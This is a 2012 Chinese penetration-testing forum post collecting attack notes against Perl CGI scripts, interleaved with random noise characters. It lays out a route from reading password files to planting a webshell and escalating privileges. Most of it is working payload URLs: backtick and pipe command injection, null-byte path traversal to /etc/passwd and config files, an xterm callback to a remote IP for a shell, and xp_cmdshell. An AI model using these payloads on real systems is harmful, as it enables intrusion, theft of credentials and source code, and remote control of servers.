中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
. h3 I: e% b# X
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
% d: [. w* S8 E+ z) `
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
- {' {0 z, X8 k7 @
注“
, N+ u8 y2 _% q# ?2 z) P% `
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
2 Z ?( M; O# A% p9 D& O
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
1 ]' k) D. _/ N7 b8 h7 W" i. f' ^9 d
6 p& Q3 W1 V f3 N* L# j
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
; k4 ~; `2 ] H: h& v- Y
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
0 F5 d$ F4 P; W$ R9 Z5 u
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
% b2 |2 a* H; _9 f
http://target.com/cgi-bin/home/news/sub.pl?`id`
3 t4 C1 E+ I" b8 i
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
4 j( d" f7 o. N) Q: k* ^
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
$ T7 y( \2 c5 k+ T( E+ |, R
; \2 S5 V; i! X" Q: M% j: K
http://target.com/test.pl;ls
|
8 T8 e7 ?) _0 E2 D% A
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
$ g" |" p* X0 _4 a7 `# s& Z
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
: Q8 e u1 |5 Y, j) Q2 H
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
+ i7 A u( U1 N$ Z3 N
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
/ L, A) \, Y! x d4 T* Y- i% j% Y! g
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
5 j. A" R! b2 g+ M8 g
: U0 Z4 g- a2 ?6 g
http://target.com/test.pl?&........
/../../etc/passwd
: }* f* O. x5 O' t' A# l
/ |) M7 i/ c: o9 C! Q; t9 v6 L
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
" U% a9 V3 ?' r* b) @
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
3 }, g- j- Q% s y, E/ D
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
2 J* o6 l* m1 K0 Z
" p0 b! i9 G6 T& s% V& U5 ]: R
http://www.target.org/show.php?f
... /include/config.php 查看php代码
' [! _! V& z* n7 o% P
http://www.target.org/show.php?f
... ng/admin/global.php
L! X9 j. V1 S6 S3 U+ d) U) ]
' o+ D0 T; n, d- B5 q
emm和ps的一句话
" ^* P, ~$ ]. J) D" A
6 \6 A) t2 G- a+ S
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
- b, P7 ^( o. T# v
3 g3 m* M9 G4 ?+ @4 ?
>bbb%20|
$ R+ x( O' H# s$ |, h
/ t) Z2 z9 V" [$ e
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
( M/ h% w# T) a+ `# i* j5 Y
' g8 g; @% {% G/ J* K" x
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
! p, q# E4 p( ^4 x
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
: o# C* E; l( S1 g, ?2 h
" \+ `& _3 e& Y/ w2 ?8 @# u" ?7 u
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
# M; ?! c% y& O& A
http://target.com/index.html#cmd.exe
9 C- {* p/ M. z( W2 }4 y
http://target.com/index.html?dummyparam=xp_cmdshell
1 U& d! {. T5 S
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
8 N; z h+ W) b/ {0 g
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2